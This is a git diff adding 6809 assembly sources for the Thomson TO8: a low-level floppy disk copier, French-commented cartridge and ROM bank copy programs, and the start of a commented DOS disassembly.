+       BNE    C0340
+C0350  LDB    >$8412
+       BNE    C0360
+       LDB    >$8400
+       SUBB   >$8401
+       STB    >$8400
+C0360  LDU    >$8417
+       LBSR   C0130
+       TST    >$8412
+       BEQ    C0370
+       LDU    #$7A9A
+       BRA    C0380
+C0370  LDU    #$7AC6
+C0380  LBSR   C0130
+       LDA    #$00
+       STA    >$8408
+C0390  LDA    >$8408
+       CMPA   #$50
+       LBEQ   C0200
+       STA    >$8407
+C0400  LDU    #$7AF2
+       LBSR   C0130
+       LBSR   C0150
+       JSR    $E09D
+       JSR    $E0A7
+       JSR    $E452
+       BCS    C0410
+       LDA    1,X
+       BITA   #$04
+       BNE    C0420
+C0410  JSR    $E0B9
+       LDU    #$7BAA
+       LBSR   C0130
+       LBSR   C0150
+       BRA    C0400
+C0420  JSR    $E0B9
+       LDU    #$7C66
+       LBSR   C0130
+       LBSR   C0520
+       CMPA   #$00
+       BEQ    C0430
+       LDU    #$7C9D
+       LBSR   C0130
+       LBSR   C0150
+       LBRA   C0200
+C0430  CLR    >$83FF
+C0440  LDA    >$604B
+       CMPA   #$50
+       BNE    C0450
+       DEC    >$604B
+C0450  INC    >$83FF
+       LDA    >$83FF
+       CMPA   >$8401
+       BHI    C0390
+C0460  LDU    #$7D55
+       LBSR   C0130
+       LDB    >$83FF
+       LDX    #$4F4D
+       LBSR   C0010
+       LBSR   C0150
+       JSR    $E09D
+       JSR    $E0A7
+       JSR    $E452
+       BCS    C0470
+       LDA    1,X
+       BITA   #$04
+       BEQ    C0480
+C0470  JSR    $E0B9
+       LDU    #$7E0B
+       LBSR   C0130
+       LBSR   C0150
+       BRA    C0460
+C0480  JSR    $E0B9
+       LDU    #$7EC7
+       LBSR   C0130
+       LBSR   C1170
+       CMPA   #$00
+       BEQ    C0440
+       LDU    #$7EFF
+       LBSR   C0130
+C0490  LBSR   C0150
+       CMPB   #$41
+       BEQ    C0510
+       CMPB   #$61
+       BEQ    C0510
+       CMPB   #$52
+       BEQ    C0500
+       CMPB   #$72
+       BNE    C0490
+C0500  BRA    C0460
+C0510  LBRA   C0220
+C0520  TST    >$8412
+       LBNE   C0970
+       LDX    #$A000
+       STX    >$8402
+       LDA    #$02
+       STA    >$E7E5
+       LDA    >$8407
+       STA    >$604B
+       LDX    #$8450
+       STX    >$8419
+C0530  CLR    >$6049
+       LDA    #$40
+       STA    >$6048
+       JSR    $E004
+       LDA    >$8413
+       BEQ    C0540
+       BSR    C0580
+       CMPA   #$01
+       BEQ    C0570
+C0540  INC    >$6049
+       LDA    >$8414
+       BEQ    C0550
+       BSR    C0580
+       CMPA   #$01
+       BEQ    C0570
+C0550  LDA    >$604B
+       INCA   
+       STA    >$604B
+       CMPA   #$50
+       BNE    C0530
+C0560  STA    >$8408
+       CLRA   
+       RTS    
+C0570  LDA    >$604B
+       BRA    C0560
+C0580  LDA    #$0F
+       STA    >$7098,PCR=C0810+1
+       JSR    $E09D
+       JSR    $E0A7
+       JSR    $E45A
+       JSR    $E341
+       PSHS   CC
+       LDB    #$1B
+       JSR    $E394
+       LDD    #$E718
+       TFR    A,DP
+       STB    <$D0
+       LDA    #$02
+       STA    >$6200
+C0590  LDY    #$1858
+       LDU    #$8600
+       LDX    #$85FD
+       LDA    #$40
+C0600  BITA   <$D1
+       BEQ    C0600
+C0610  BITA   <$D1
+       BNE    C0610
+       LDA    <$D3
+C0620  LDB    <$D0
+       BPL    C0620
+       LEAY   -1,Y
+       LBEQ   $715B    =C0950+1
+       LDA    <$D3
+       BITB   #$01
+       BEQ    C0620
+       TFR    Y,D
+       ADDD   #$8600
+       STD    <$702E,PCR=C0730+1
+C0630  LDA    <$D0
+       BPL    C0630
+C0640  LDA    <$D3
+       CMPA   #$A1
+       BEQ    C0660
+       STA    ,X+
+C0650  LDD    <$D0
+       BPL    C0650
+       BITA   #$01
+       BEQ    C0700
+       LDA    <$D3
+       CMPA   #$A1
+       BNE    C0680
+       BITB   #$40
+       BNE    C0710
+       LEAX   -1,X
+C0660  LEAX   3,X
+       PSHU   X
+C0670  LDD    <$D0
+       BPL    C0670
+       LDA    <$D3
+       BITB   #$40
+       BNE    C0710
+       CMPA   #$A1
+       BEQ    C0670
+C0680  STA    ,X+
+C0690  LDD    <$D0
+       BPL    C0690
+       BITA   #$01
+       BNE    C0640
+C0700  LDA    <$D3
+       BITB   #$40
+       BEQ    C0680
+C0710  STA    ,X+
+C0720  LDB    <$D0
+       BPL    C0720
+       BITB   #$01
+       BNE    C0740
+       LDA    <$D3
+C0730  CMPX   #$0000
+       BCS    C0710
+C0740  CMPU   #$85FB
+       BCS    C0750
+       DEC    >$6200
+       LBNE   C0590
+       LBRA   $715E    =C0960+1
+C0750  LDY    #$A000
+       LDD    #$0001
+       STD    ,--Y
+       TFR    X,D
+       SUBD   #$8600
+       CMPD   >$840E
+       BMI    C0780
+       PSHS   U,B,A
+       LDD    #$8600
+       SUBD   2,S
+       LSRA   
+       RORB   
+       PSHS   B,A
+       LDD    2,S
+C0760  DEC    <$7098,PCR=C0810+1
+       BPL    C0770
+       LEAS   6,S
+       LBRA   $715E    =C0960+1
+C0770  SUBD   ,S
+       CMPD   >$840E
+       BHI    C0760
+       LEAS   4,S
+       PULS   U
+C0780  STD    ,--Y
+C0790  PSHS   Y
+C0800  LDA    ,-X
+       STA    ,-Y
+       CMPX   ,U
+       BHI    C0800
+       PULS   A,B
+       SUBD   #$0001
+       STD    ,--Y
+       PULU   X
+       CMPU   #$8600
+       BEQ    C0820
+       LEAX   <-$1E,X
+C0810  LEAX   12,X
+       BRA    C0790
+C0820  TFR    Y,X
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       NOP    
+       STY    >$8500
+       TFR    Y,X
+       LDY    #$8502
+       STY    >$8405
+       LDU    #$8504
+C0830  LDY    #$0000
+C0840  LDA    ,X+
+       CMPX   #$9FFF
+       BEQ    C0890
+       CMPA   ,X
+       BNE    C0850
+       CMPA   1,X
+       BNE    C0850
+       CMPA   2,X
+       BEQ    C0860
+C0850  STA    ,U+
+       LEAY   1,Y
+       BRA    C0840
+C0860  TFR    Y,D
+       LDY    >$8405
+       STD    ,Y
+       LDB    #$00
+       LDA    ,X
+       STA    ,U+
+C0870  LDA    ,X+
+       CMPX   #$9FFF
+       BEQ    C0900
+       INCB   
+       BEQ    C0880
+       CMPA   -1,U
+       BEQ    C0870
+C0880  DECB   
+       STB    ,U+
+       STU    >$8405
+       LEAU   2,U
+       LEAX   -1,X
+       BRA    C0830
+C0890  TFR    Y,D
+       LDY    >$8405
+       STD    ,Y
+       BRA    C0910
+C0900  STB    ,U+
+C0910  STU    >$8405
+       LDX    #$8500
+       LDY    >$8402
+C0920  LDA    ,X+
+       STA    ,Y+
+       CMPY   #$E000
+       BNE    C0930
+       LDY    #$A000
+       LDA    >$E7E5
+       INCA   
+       CMPA   >$8404
+       BEQ    $7158    =C0940+1
+       STA    >$E7E5
+C0930  CMPX   >$8405
+       BNE    C0920
+       STY    >$8402
+       CLRA   
+C0940  TST    >$8601
+C0950  TST    >$86FE
+C0960  TST    >$86FF
+       PULS   CC
+       CLR    <$D0
+       LDB    #$40
+       STB    <$D2
+       LDU    >$8419
+       STA    ,U+
+       STU    >$8419
+       RTS    
+C0970  PSHS   CC
+       ORCC   #$50
+       LDX    #$A000
+       STX    >$8402
+       LDA    #$02
+       STA    >$E7E5
+       LDA    >$8407
+       STA    >$604B
+       LDX    #$8440
+       STX    >$8420
+       LDX    #$8580
+       STX    >$8422
+C0980  CLR    >$6049
+       LDA    #$40
+       STA    >$6048
+       JSR    $E004
+       LDA    >$8413
+       BEQ    C0990
+       BSR    C1010
+C0990  INC    >$6049
+       LDA    >$8414
+       BEQ    C1000
+       BSR    C1010
+C1000  LDA    >$604B
+       INCA   
+       STA    >$604B
+       CMPA   #$50
+       BNE    C0980
+       STA    >$8408
+       CLRA   
+       PULS   CC,PC
+C1010  STA    >$E7D2
+       LDX    #$83B0
+       LDB    #$10
+C1020  LDA    ,X+
+       PSHS   A
+       DECB   
+       BNE    C1020
+       LDA    #$E7
+       TFR    A,DP
+       LDX    >$8402
+       LDU    >$8422
+       LDA    #$01
+C1030  CLR    <$D0
+       STA    <$D5
+       LDA    #$0A
+       STA    <$D4
+       LDA    #$A1
+       STA    <$D3
+       LDD    #$041B
+       STB    <$D0
+       CMPX   #$E000
+       BNE    C1040
+       LDX    #$A000
+       LDB    <$E5
+       INCB   
+       CMPB   >$8404
+       BEQ    C1150
+       STB    <$E5
+       NOP    
+C1040  LDY    #C1720    #$7500
+C1050  LEAY   -1,Y
+       BEQ    C1140
+       LDB    <$D0
+       BITB   #$02
+       BEQ    C1050
+       LDB    <$D3
+C1060  DECA   
+       BEQ    C1140
+C1070  LDB    <$D0
+       BPL    C1070
+       LDB    <$D3
+       CMPB   #$FB
+       BNE    C1060
+       CLRA   
+C1080  LDB    <$D0
+       BPL    C1080
+       LDB    <$D3
+       STB    ,X+
+       STB    ,U
+       DECA   
+C1090  LDB    <$D0
+       BPL    C1090
+       LDB    <$D3
+       STB    ,X+
+       CMPB   ,U
+       BNE    C1110
+       DECA   
+       BNE    C1090
+       LEAX   >-ç0100,X
+       DECA   
+       BRA    C1120
+C1100  LDB    <$D0
+       BPL    C1100
+       LDB    <$D3
+       STB    ,X+
+C1110  DECA   
+       BNE    C1100
+C1120  LDB    <$D0
+       BITB   #$08
+       BEQ    C1120
+       BITB   #$04
+       BNE    C1140
+       LEAU   1,U
+       STA    ,U+
+       PULS   A
+       TSTA   
+       LBNE   C1030
+       STU    >$8422
+       STX    >$8402
+C1130  LDD    #$4000
+       STB    <$D0
+       STA    <$D2
+       RTS    
+C1140  BSR    C1130
+       LDA    #$FF
+       BRA    C1160
+C1150  BSR    C1130
+       LDA    >$604B
+       STA    >$8408
+       CLRA   
+C1160  PULS   B
+       TSTB   
+       BNE    C1160
+       LEAS   2,S
+       PULS   CC,PC
+       NOP    
+       NOP    
+       NOP    
+C1170  TST    >$8412
+       LBNE   C1710
+       LDX    #$A000
+       STX    >$8402
+       LDA    #$02
+       STA    >$E7E5
+       LDA    >$8407
+       STA    >$604B
+       LDX    #$8450
+       STX    >$8419
+C1180  LDX    >$840E
+       STX    >$8410
+       JSR    $E09D
+       JSR    $E452
+       LDD    #$0020
+       STD    <$49
+       LDA    >$8415
+       BEQ    C1190
+       BSR    C1210
+C1190  INC    >$6049
+       LDA    >$8416
+       BEQ    C1200
+       BSR    C1210
+C1200  LDA    >$604B
+       INCA   
+       STA    >$604B
+       CMPA   >$8408
+       BNE    C1180
+       CLRA   
+       RTS    
+C1210  LDU    >$8419
+       LDA    ,U+
+       STU    >$8419
+       TSTA   
+       LBEQ   C1370
+       CMPA   #$FF
+       BEQ    C1260
+       JSR    $E09D
+       JSR    $E0A7
+       JSR    $E341
+       LDA    #$E7
+       TFR    A,DP
+       PSHS   CC
+       ORCC   #$50
+C1220  LDA    <$D1
+       BITA   #$40
+       BEQ    C1220
+C1230  LDA    <$D3
+       LDA    <$D0
+       BPL    C1230
+C1240  LDA    <$D0
+       BPL    C1240
+       LDD    #$4EFF
+       STD    <$D3
+       LDB    #$04
+       STB    <$D0
+       LDD    #$A00A
+       STD    <$D3
+       LDX    #$1900
+C1250  LDA    <$D0
+       BPL    C1250
+       LDA    #$FE
+       STA    <$D3
+       LEAX   -1,X
+       BNE    C1250
+       PULS   CC
+       LDA    #$00
+       STA    <$D0
+       LDA    #$40
+       STA    <$D2
+       RTS    
+C1260  JSR    $E09D
+       JSR    $E0A7
+       JSR    $E341
+       LDA    #$E7
+       TFR    A,DP
+       PSHS   A,CC
+       ORCC   #$50
+C1270  LDA    <$D1
+       BITA   #$40
+       BEQ    C1270
+C1280  LDA    <$D3
+       LDA    <$D0
+       BPL    C1280
+C1290  LDA    <$D0
+       BPL    C1290
+       LDD    #$4EFF
+       STD    <$D3
+       LDB    #$04
+       STB    <$D0
+       LDB    #$0C
+C1300  LDA    <$D0
+       BPL    C1300
+       CLR    <$D3
+       DECB   
+       BNE    C1300
+C1310  LDA    <$D0
+       BPL    C1310
+       LDD    #$A10A
+       STD    <$D3
+C1320  LDB    <$D0
+       BPL    C1320
+       STA    <$D3
+C1330  LDB    <$D0
+       BPL    C1330
+       STA    <$D3
+C1340  LDA    <$D0
+       BPL    C1340
+       LDD    #$FEFF
+       STD    <$D3
+       LDX    #$1900
+C1350  LDA    <$D0
+       BPL    C1350
+       LDA    #$FF
+       STA    <$D3
+       LEAX   -1,X
+       BNE    C1350
+       LDA    #$00
+       STA    <$D0
+       LDA    #$40
+       STA    <$D2
+C1360  PULS   CC,A
+       RTS    
+C1370  LDX    >$8402
+       BSR    C1430
+       TFR    B,A
+       BSR    C1430
+       TFR    D,U
+       PSHS   U
+C1380  BSR    C1430
+       TFR    B,A
+       BSR    C1430
+       TFR    D,Y
+       CMPD   #$0000
+       BEQ    C1400
+C1390  BSR    C1430
+       STB    ,U+
+       LEAY   -1,Y
+       BNE    C1390
+C1400  CMPU   #$9FFE
+       BEQ    C1420
+       BSR    C1430
+       TFR    B,A
+       BSR    C1430
+       STA    ,U+
+C1410  STA    ,U+
+       DECB   
+       BNE    C1410
+       CMPU   #$9FFE
+       BNE    C1380
+C1420  STX    >$8402
+       BRA    C1450
+C1430  LDB    ,X+
+       CMPX   #$E000
+       BNE    C1440
+       LDX    #$A000
+       INC    >$E7E5
+C1440  RTS    
+C1450  JSR    $E09D
+       DEC    <$4A
+       BEQ    C1360
+       JSR    $E0A7
+       JSR    $E45A
+       JSR    $E341
+       LDD    >$9FFC
+       SUBD   >$8410
+       BMI    C1460
+       LDD    #$FFFF
+C1460  TFR    D,Y
+       LDA    #$E7
+       TFR    A,DP
+       LDX    ,S
+       PSHS   CC
+       ORCC   #$50
+C1470  LDA    <$D1
+       BITA   #$40
+       BEQ    C1470
+C1480  LDA    <$D3
+       LDA    <$D0
+       BPL    C1480
+C1490  LDA    <$D0
+       BPL    C1490
+       LDD    #$4EFF
+       STD    <$D3
+       LDB    #$04
+       STB    <$D0
+       LDA    #$4E
+C1500  LDB    <$D0
+       BPL    C1500
+       STA    <$D3
+       LEAY   1,Y
+       BNE    C1500
+C1510  LDA    <$D0
+       BPL    C1510
+       CLR    <$D3
+       LDU    ,X++
+C1520  LDA    <$D0
+       BPL    C1520
+       CLR    <$D3
+       STU    <$748A,PCR=C1620+1
+C1530  LDA    <$D0
+       BPL    C1530
+       CLR    <$D3
+       LDB    ,X+
+C1540  LDA    <$D0
+       BPL    C1540
+       CLR    <$D3
+       STB    <$747D,PCR=C1600+1
+       LDB    #$08
+C1550  LDA    <$D0
+       BPL    C1550
+       CLR    <$D3
+       DECB   
+       BNE    C1550
+C1560  LDA    <$D0
+       BPL    C1560
+       LDD    #$A10A
+       STD    <$D3
+C1570  LDB    <$D0
+       BPL    C1570
+       STA    <$D3
+C1580  LDB    <$D0
+       BPL    C1580
+       STA    <$D3
+C1590  LDA    <$D0
+       BPL    C1590
+C1600  LDD    #$20FF
+       STD    <$D3
+C1610  LDA    <$D0
+       BPL    C1610
+       LDA    ,X+
+       STA    <$D3
+C1620  CMPX   #$F8F8
+       BCS    C1610
+       LDX    <$758A,PCR=C1820+3
+C1630  LDA    <$D0
+       BPL    C1630
+       LDA    ,X+
+       STA    <$D3
+       CMPX   #$9FFC
+       BCS    C1510
+C1640  LDD    <$D0
+       BPL    C1640
+       BITB   #$40
+       BEQ    C1670
+       LDD    #$A10A
+       STD    <$D3
+C1650  LDA    <$D0
+       BPL    C1650
+       LDD    #$FBFF
+       STD    <$D3
+       NOP    
+       NOP    
+       PULS   CC,X
+C1660  CLR    <$D0
+       LDA    #$40
+       STA    <$D2
+       RTS    
+C1670  CLRB   
+C1680  INCB   
+       BEQ    C1690
+       PSHS   X
+       PULS   X
+       NOP    
+       NOP    
+       LDA    <$D1
+       BITA   #$40
+       BEQ    C1680
+       CLRA   
+       ADDD   >$8410
+       SUBD   #$0001
+       BRA    C1700
+C1690  LDD    >$840E
+C1700  STD    >$8410
+       PULS   CC
+       BSR    C1660
+       LBRA   C1450
+C1710  PSHS   CC
+       ORCC   #$50
+       LDX    #$A000
+       STX    >$8402
+       LDA    #$02
+       STA    >$83F7
+       LDA    >$8407
+       STA    >$604B
+       LDX    #$8440
+       STX    >$8420
+C1720  LDX    #$8580
+       STX    >$8422
+C1730  LDA    #$40
+       STA    >$6048
+       JSR    $E004
+       CLR    >$6049
+       LDA    >$8415
+       BEQ    C1740
+       BSR    C1770
+C1740  INC    >$6049
+       LDA    >$8416
+       BEQ    C1750
+       BSR    C1770
+C1750  LDA    >$604B
+       INCA   
+       STA    >$604B
+       CMPA   >$8408
+       BNE    C1730
+       CLRA   
+C1760  PULS   CC,PC
+C1770  STA    >$E7D2
+       STA    >$841F
+       LDA    #$03
+       STA    >$841E
+C1780  DEC    >$841E
+       BNE    C1790
+       COMA   
+       LEAS   2,S
+       BRA    C1760
+C1790  LDX    #$83B0
+       LDB    #$10
+C1800  LDA    ,X+
+       PSHS   A
+       DECB   
+       BNE    C1800
+       LDA    #$E7
+       TFR    A,DP
+       LDX    >$8402
+       LDA    >$83F7
+       STA    >$E7E5
+       LDU    >$8422
+       LDA    #$01
+C1810  CLR    <$D0
+       STA    <$D5
+       LDA    #$0A
+       STA    <$D4
+       LDA    #$A1
+       STA    <$D3
+       LDB    #$19
+       STB    <$D0
+       CMPX   #$E000
+       BNE    C1820
+       LDX    #$A000
+       INC    >$E7E5
+       LDB    >$E7E5
+       CMPB   >$8404
+       BEQ    C1920
+C1820  LDY    #$5D00
+C1830  LEAY   -1,Y
+       BEQ    C1890
+       LDB    <$D0
+       BITB   #$02
+       BEQ    C1830
+       STA    <$D3
+C1840  LDB    <$D0
+       BPL    C1840
+       STA    <$D3
+C1850  LDB    <$D0
+       BPL    C1850
+       LDA    #$FB
+       STA    <$D3
+       LDD    ,U++
+       TSTB   
+       BEQ    C1870
+       CLRB   
+C1860  TST    <$D0
+       BPL    C1860
+       STA    <$D3
+       DECB   
+       BNE    C1860
+       BRA    C1880
+C1870  LDA    <$D0
+       BPL    C1870
+       LDA    ,X+
+       STA    <$D3
+       DECB   
+       BNE    C1870
+C1880  LDB    <$D0
+       BITB   #$08
+       BEQ    C1880
+       PULS   A
+       TSTA   
+       BNE    C1810
+       STU    >$8422
+       STX    >$8402
+       LDA    >$E7E5
+       STA    >$83F7
+       LDD    #$4000
+       STB    <$D0
+       STA    <$D2
+       RTS    
+C1890  PULS   A
+       CMPA   #$00
+       BNE    C1890
+       LDX    #$83B0
+       LDB    #$10
+C1900  LDA    ,X+
+       PSHS   A
+       DECB   
+       BNE    C1900
+       LDA    #$01
+       PSHS   A
+       LDU    #$9A00
+C1910  PULS   A
+       CMPA   #$00
+       BEQ    C1930
+C1920  LDB    #$01
+       STD    2,U
+       LDA    >$604B
+       CLRB   
+       STD    ,U
+       LDY    #$0004
+       LDD    #$B230
+       JSR    $E364
+       STD    ,U++
+       BRA    C1910
+C1930  LDA    #$40
+       STA    >$6048
+       JSR    $E004
+       LDA    >$841F
+       STA    >$E7D2
+       LDU    #$9A00
+       LDA    #$10
+       PSHS   A
+C1940  LDA    <$D1
+       BITA   #$40
+       BEQ    C1940
+C1950  LDA    <$D3
+       LDA    <$D0
+       BPL    C1950
+C1960  LDA    <$D0
+       BPL    C1960
+       LDD    #$4EFF
+       STD    <$D3
+       LDB    #$04
+       STB    <$D0
+       LDA    #$1E
+C1970  LDB    <$D0
+       BPL    C1970
+       LDB    #$4E
+       STB    <$D3
+       DECA   
+       BNE    C1970
+C1980  LDA    #$0C
+C1990  LDB    <$D0
+       BPL    C1990
+       CLR    <$D3
+       DECA   
+       BNE    C1990
+C2000  LDB    <$D0
+       BPL    C2000
+       LDD    #$A10A
+       STD    <$D3
+C2010  LDB    <$D0
+       BPL    C2010
+       STA    <$D3
+C2020  LDB    <$D0
+       BPL    C2020
+       STA    <$D3
+C2030  LDA    <$D0
+       BPL    C2030
+       LDD    #$FEFF
+       STD    <$D3
+       LDA    #$06
+C2040  LDB    <$D0
+       BPL    C2040
+       LDB    ,U+
+       STB    <$D3
+       DECA   
+       BNE    C2040
+       LDA    #$16
+C2050  LDB    <$D0
+       BPL    C2050
+       LDB    #$4E
+       STB    <$D3
+       DECA   
+       BNE    C2050
+       LDA    #$0C
+C2060  LDB    <$D0
+       BPL    C2060
+       CLR    <$D3
+       DECA   
+       BNE    C2060
+C2070  LDB    <$D0
+       BPL    C2070
+       LDD    #$A10A
+       STD    <$D3
+C2080  LDB    <$D0
+       BPL    C2080
+       STA    <$D3
+C2090  LDB    <$D0
+       BPL    C2090
+       STA    <$D3
+C2100  LDA    <$D0
+       BPL    C2100
+       LDD    #$FBFF
+       STD    <$D3
+       CLRA   
+C2110  LDB    <$D0
+       BPL    C2110
+       LDB    #$E5
+       STB    <$D3
+       DECA   
+       BNE    C2110
+C2120  LDB    <$D0
+       BPL    C2120
+       LDB    #$78
+       STB    <$D3
+C2130  LDB    <$D0
+       BPL    C2130
+       LDB    #$27
+       STB    <$D3
+       LDA    #$2C
+C2140  LDB    <$D0
+       BPL    C2140
+       LDB    #$4E
+       STB    <$D3
+       DECA   
+       BNE    C2140
+       DEC    ,S
+       LBNE   C1980
+C2150  LDA    <$D1
+       BITA   #$40
+       BNE    C2170
+C2160  LDA    <$D0
+       BPL    C2160
+       STB    <$D3
+       BRA    C2150
+C2170  PULS   A
+       LBRA   C1780
+C2180  TFR    Y,D
+       BCS    $771F
+       ASRA   
+       INC    <$14
+       BLS    $7769
+       NOP    
diff --git a/code/3rdparty/sources3-lambinet/Copiers/COPYCART.ASM b/code/3rdparty/sources3-lambinet/Copiers/COPYCART.ASM
new file mode 100644
index 0000000..1057b7c
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/Copiers/COPYCART.ASM
@@ -0,0 +1,91 @@
+*** COPYCART ***************************
+*                                      *
+*  LECTURE d'une cartouche de 4K à 64K *
+*                                      *
+*** par Michel SAINT-BRIANT/ASCI (c) ***
+
+       ORG    $8000
+
+* Sauvegarde des registres
+
+       PSHS   U,X,Y,DP,A,B,CC
+
+* On sauvegarde la valeur de $E7C3 pour
+* restauration en fin de programme.
+
+       LDA    $E7C3
+       PSHS   A
+
+* On commute l'espace logique $0/$3FFF
+* sur la cartouche en mettant le bit 2
+* de $E7C3 à 0 (sinon à 1 ce sont les
+* 64 Ko de BASIC512+BASIC1.0+DOS icon.)
+
+       ANDA   #$FB
+       STA    $E7C3
+
+* Initialisation de la bank courante
+* en bank 3 (no BASIC donc valeur=4)
+
+       LDA    #4
+       STA    $E7E5
+
+* Copie de la première banque-cartouche
+* à lire en BANK 3 de $A000 à $DFFF
+
+       STA    >0      la commutation des
+                * slots se fait en écri-
+                * vant à l'adresse dont
+                * le no est no du slot.
+
+       BSR    COPIE
+
+* Copie de la 2è banque de la cartouche
+* si elle existe sinon la 1 est recopiée
+* à lire en BANK 4 de $A000 à $DFFF
+
+       STA    >1
+       BSR    COPIE
+
+* Copie de la 3è banque de la cartouche
+* si elle existe sinon la 1 est recopiée
+* à lire en BANK 5 de $A000 à $DFFF
+
+       STA    >2
+       BSR    COPIE
+
+* Copie de la 4è banque de la cartouche
+* si elle existe sinon la 1 est recopiée
+* à lire en BANK 6 de $A000 à $DFFF
+
+       STA    >3
+       BSR    COPIE
+
+* On restaure le registre $E7C3
+
+       PULS   A
+       STA    $E7C3
+
+* On se remet sur le slot 0 pour
+* 'retomber' en BASIC512 si c'esl le cas
+
+       STA    >0
+
+* On restaure les registres et on sort.
+
+       PULS   CC,B,A,DP,Y,X,U,PC
+
+**********************
+* copier les banques *
+**********************
+
+COPIE  LDX    #$0000
+       LDY    #$A000
+COP    LDU    ,X++
+       STU    ,Y++
+       CMPX   #$4000
+       BLO    COP
+       INC    $E7E5   bank suivante
+       RTS
+
+       END
diff --git a/code/3rdparty/sources3-lambinet/Copiers/COPYROM0.ASM b/code/3rdparty/sources3-lambinet/Copiers/COPYROM0.ASM
new file mode 100644
index 0000000..bc67f12
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/Copiers/COPYROM0.ASM
@@ -0,0 +1,69 @@
+*** COPYROM0 ***************************
+*                                      *
+* LECTURE DES 64 Ko ROM en $0000/$3FFF *
+*                                      *
+*** par Michel SAINT-BRIANT/ASCI (c) ***
+
+       ORG    $8000
+
+* Sauvegarde des registres
+
+       PSHS   U,X,Y,DP,A,B,CC
+
+* Initialisation de la bank courante
+* en bank 3 (no BASIC donc valeur=4)
+
+       LDA    #4
+       STA    $E7E5
+
+* Copie de BASIC512 banque 0
+* à lire en BANK 3 de $A000 à $DFFF
+
+       STA    >0      la commutation des
+                * slots se fait en écri-
+                * vant à l'adresse dont
+                * le no est no du slot.
+
+       BSR    COPIE
+
+* Copie de BASIC512 banque 1
+* à lire en BANK 4 de $A000 à $DFFF
+
+       STA    >1
+       BSR    COPIE
+
+* Copie de BASIC 1.0 banque 2
+* à lire en BANK 5 de $A000 à $DFFF
+
+       STA    >2
+       BSR    COPIE
+
+* Copie du DOS ICONIQUE banque 3
+* à lire en BANK 6 de $A000 à $DFFF
+
+       STA    >3
+       BSR    COPIE
+
+* On se remet sur le slot 0 pour
+* 'retomber' en BASIC512 si c'esl le cas
+
+       STA    >0
+
+* On restaure les registres et on sort.
+
+       PULS   CC,B,A,DP,Y,X,U,PC
+
+**********************
+* copier les banques *
+**********************
+
+COPIE  LDX    #$0000
+       LDY    #$A000
+COP    LDU    ,X++
+       STU    ,Y++
+       CMPX   #$4000
+       BLO    COP
+       INC    $E7E5   bank suivante
+       RTS
+
+       END
diff --git a/code/3rdparty/sources3-lambinet/Copiers/COPYROME.ASM b/code/3rdparty/sources3-lambinet/Copiers/COPYROME.ASM
new file mode 100644
index 0000000..43f19a9
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/Copiers/COPYROME.ASM
@@ -0,0 +1,55 @@
+*** COPYROME ***************************
+*                                      *
+* LECTURE DES 16 Ko ROM en $E000/$FFFF *
+* ( moniteur en deux parties de 8 Ko ) *
+*                                      *
+*** par Michel SAINT-BRIANT/ASCI (c) ***
+
+       ORG    $8000
+
+* Sauvegarde des registres
+
+       PSHS   U,X,Y,DP,A,B,CC
+
+* Initialisation de la bank courante
+* en bank 3 (no BASIC donc valeur=4)
+
+       LDA    #4
+       STA    $E7E5
+
+* Copie du moniteur partie haute
+* à lire en BANK 3 de $C000 à $DFFF
+
+       LDA    $E7C3   la commutation des
+       ORA    #$10    deux parties se
+       STA    $E7C3   joue sur le bit 4
+                      * du 6846 en $E7C3
+                      * =1 -> part.haute
+       LDX    #$C000
+       LDY    #$E000
+COP0   LDU    ,Y++
+       STU    ,X++
+       CMPX   #$E000
+       BLO    COP0
+
+* Copie du moniteur partie basse
+* à lire en BANK 3 de $A000 à $BFFF
+
+       LDA    $E7C3   la commutation des
+       ANDA   #$EF    deux parties se
+       STA    $E7C3   joue sur le bit 4
+                      * du 6846 en $E7C3
+                      * =0 -> part.basse
+       LDX    #$A000
+       LDY    #$E000
+COP1   LDU    ,Y++
+       STU    ,X++
+       CMPX   #$C000
+       BLO    COP1
+
+
+* On restaure les registres et on sort.
+
+       PULS   CC,B,A,DP,Y,X,U,PC
+
+       END
diff --git a/code/3rdparty/sources3-lambinet/DOSTO8C.ASM b/code/3rdparty/sources3-lambinet/DOSTO8C.ASM
new file mode 100644
index 0000000..98fe236
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/DOSTO8C.ASM
@@ -0,0 +1,1040 @@
+*** DOSTO8 + quelques commentaires ***
+*** relatifs au fichier produit par **
+*** le sourcer et ce qu'il va falloir
+*** corriger pour un source impeccable
+
+
+* on placera ici un ORG $E000 (on aurait
+* pu le faire sous CODEVIEW !)
+
+       FCC    #MTD:#  code d'identifica-
+                      * tion du DOS
+
+D0000  LBRA   D0090   redirections
+       LBRA   D0020
+D0010  LBRA   D1210
+       LBSR   $ECB8   <
+       LBSR   $ECB8   < cette adresse
+       LBSR   $ECB8   <
+       LBSR   $ECB8   < est fonction du
+       LBSR   $ECB8   <
+       LBSR   $ECB8   < modèle (TO8 ou
+       LBSR   $ECB8   <
+       LBSR   $ECB8   < 8D ou 9+)
+D0020  BSR    D0140
+       CLR    <$49
+       BSR    D0150
+       LBSR   D0260
+       LDA    #$02
+D0030  PSHS   A
+       CLR    <$58
+D0040  LDD    #$0001
+       STD    <$4B
+       LDU    #$6200
+       STU    <$4F
+       LBSR   D0940
+       BSR    D0170
+       LDU    <$4F
+       BCC    D0050
+       LDA    <$58
+       BNE    D0070
+       COM    <$58
+       BRA    D0040
+D0050  LDY    #$627F
+       PSHS   Y
+       LDA    #$55
+D0060  DEC    ,U
+       COM    ,U
+       ADDA   ,U+
+       CMPU   ,S
+       BNE    D0060
+       PULS   Y
+       CMPA   ,U
+       BNE    D0080
+       JMP    $6200
+D0070  PULS   A
+       DECA
+       BNE    D0030
+D0080  CLR    <$80
+       JMP    [$001E]
+D0090  PSHS   U,Y,X,DP,B,A,CC
+       BSR    D0140
+       LDA    <$48
+       CMPA   #$01
+       BEQ    D0100
+       LDA    <$49
+       CMPA   #$04
+       BEQ    D0130
+D0100  BSR    D0150
+       BSR    D0190
